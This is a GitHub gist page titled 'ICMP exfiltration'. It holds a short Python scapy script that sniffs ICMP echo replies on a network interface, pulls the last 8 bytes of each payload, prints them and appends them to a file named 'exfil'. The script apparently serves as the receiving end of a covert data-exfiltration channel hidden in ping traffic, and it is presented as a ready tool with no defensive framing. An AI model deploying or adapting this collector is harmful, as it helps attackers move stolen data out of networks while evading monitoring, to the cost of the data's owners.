Created
February 20, 2023 12:01
-
-
Save BobTheShoplifter/8231d9a50638bc551ca8417e97baa42c to your computer and use it in GitHub Desktop.
ICMP exfiltration
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from scapy.all import sniff, ICMP | |
def process_packet(packet): | |
if packet.haslayer(ICMP) and packet[ICMP].type == 0: | |
data = packet[ICMP].load[-8:] | |
try: | |
print(f"{data.decode('utf-8')}", end="") | |
except UnicodeDecodeError: | |
pass | |
with open("./exfil", "a+b") as f: | |
f.write(data) | |
if __name__ == "__main__": | |
sniff(iface="ens18", prn=process_packet) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment